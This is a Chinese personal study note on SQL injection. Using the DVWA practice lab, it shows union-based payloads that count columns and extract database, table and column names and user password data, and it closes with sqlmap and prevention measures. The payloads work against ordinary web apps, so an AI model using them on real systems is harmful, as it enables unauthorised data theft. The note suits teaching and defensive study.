声明:
由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。
笔记内容来源于各类网课。
一、SQL的介绍
1. SQL(Structured Query Language)即结构化查询语言。最早使用在System R中,后来逐渐推广为一个规范。
二、SQL注入基础
1.SQL注入
用户在前端执行的某些操作,最终在目标数据库中执行了一个不应该被执行的语句。
2. 给定管理员权限,如何查数据库的元数据(数据库名,表名,字段名)
查询数据库中所有数据库的信息
show databases;
查询某个数据库的表的信息。
use dvwa;
show tables;
查看某个数据库中某个表的字段名。
use dvwa;
show columns from dvwa.users;
查看当前使用的数据库。
select database();
查看当前的用户。
select user();
查看当前的数据库版本。
select version();
操作系统库information_schema,获取元数据。
拿到数据库名
select * from information_schema.schemata
拿到指定数据库的表名。
select * from information_schema.tables where talbe_schema= 'dvwa'
拿到某个表的所有字段。
select * from information_schema.columns
where table_name = 'users'
小结:使用show、select以及查询系统数据库的方法可以获得元数据。
三、简单SQL注入实战
后端的查询语句为:
select * from users where user= '$user' and password= '$passwd'
其中$user和$passwd由前端post提交。
假定我们一直当前使用的表名为users。我们构建如下sql语句,想在数据库中执行。
select * from users
我们首先测试将$user=select * from users,$b=1。测试执行结果。
经过后端拼接后,形成的语句为。
SELECT
*
FROM
users
WHERE
USER = 'select * from users;'
AND PASSWORD = '1'
我们的语句被当作字符串处理,所以查询结构为空。
我们做如下处理。使用[ '; ]将前面语句闭合成一个完整的sql语句。
利用注释符号[ -- ]、[ # ]来注释后面的语句。
那我们使用新构建的sql语句。赋值给$user。
$user='; select * from users; -- ,$passwd=1
但是这个语句执行会产生两个结果。
结果1为空,结果2为我们的查询语句。一般的此时后端为php,可能会报错,因为php中不能同时执行两条sql语句。
我们可以使用union语句将两个语句合并成一条slq语句。
union查询前后返回的字段的个数必须一样并且返回的类型是可以相互转换的,否则报错。
上图中,只有union前后查询返回的字段数一致,才不会报错。
所以我们构建一个新的sql语句。语句可以得到执行。
$user='union select * from users; -- ,$passwd=1
四、简单的SQL注入流程
这里我们使用get请求,附带一个id参数。
后端的sql语句为。
select * from users where user_id='$id' limit 0,1
1. 判断有无SQL注入
可以使用单引号(')可以测试判断有无注入。即id值为。
id = 1'
如果报错,说明存在sql注入漏洞。
2. 获取元数据
由于无法目前无法得知,后台查询返回的字段数量,无法准确使用union。
select * from users where user_id='' union select database(); -- ' limit 0,1
使用 order by获取数据返回的字段数量。
当order by 1,表示使用第一个字段排序。
同理order by表示使用第5个字段排序。
这里的表返回的为8个字段。当order by 的数字超出8就会报错。例如order by 9。
使用order by 8 不会报错。
所以我们可以使用 order by尝试出查询返回的字段数量。得到返回的字段数为8。
我们构建如下参数。
id=-1' union select database(),2,3,4,5,6,7,8 --+
使用系统数据库,查询表名。
select * from tables where table_schema = 'dvwa'
由于返回的表名的数量未知,我们使用gourp_concat(table_name)拼接成一列。
我们可以构造如下参数。
id=-1' union select group_concat(table_name),1,2,3,4,5,6,7 from information_schema.tables
where table_schema = 'dvwa' --+
我们构建如下参数,拿到dvwa中users表中所有字段名。
id=-1' union select group_concat(column_name),1,2,3,4,5,6,7 from information_schema.columns
where table_schema = 'dvwa' and table_name = 'users' --+
3. 获取数据中的信息
获取user表中数据。
-1' union
select
group_concat(user_id,'--',user,'--',password,'--',last_login),1,2,3,4,5,6,7
from users --+
小结: SQL注入的流程如下:
- 判断是否可以注入
- 获取数据库名,表名,列名
- 获取数据
五、SQL注入产生的原因
1.由于开发人员对SQL注入的了解深度不一,导致开发的系统存在SQL注入风险。
2.SQL注入的样式越来越多。
六、使用工具检测SQL注入
sqlmap:支持绝大部分的数据库的SQL注入测试。
七、预防SQL注入
1. 对前端输入的内容进行过滤
2. 后端对传入的进行预编译
3. 数据库的权限设置要严格
4. 系统中不能存储明文,传输中密码也不使用明文
5. 部署WAF
6. 后台地址修改,表名设置复杂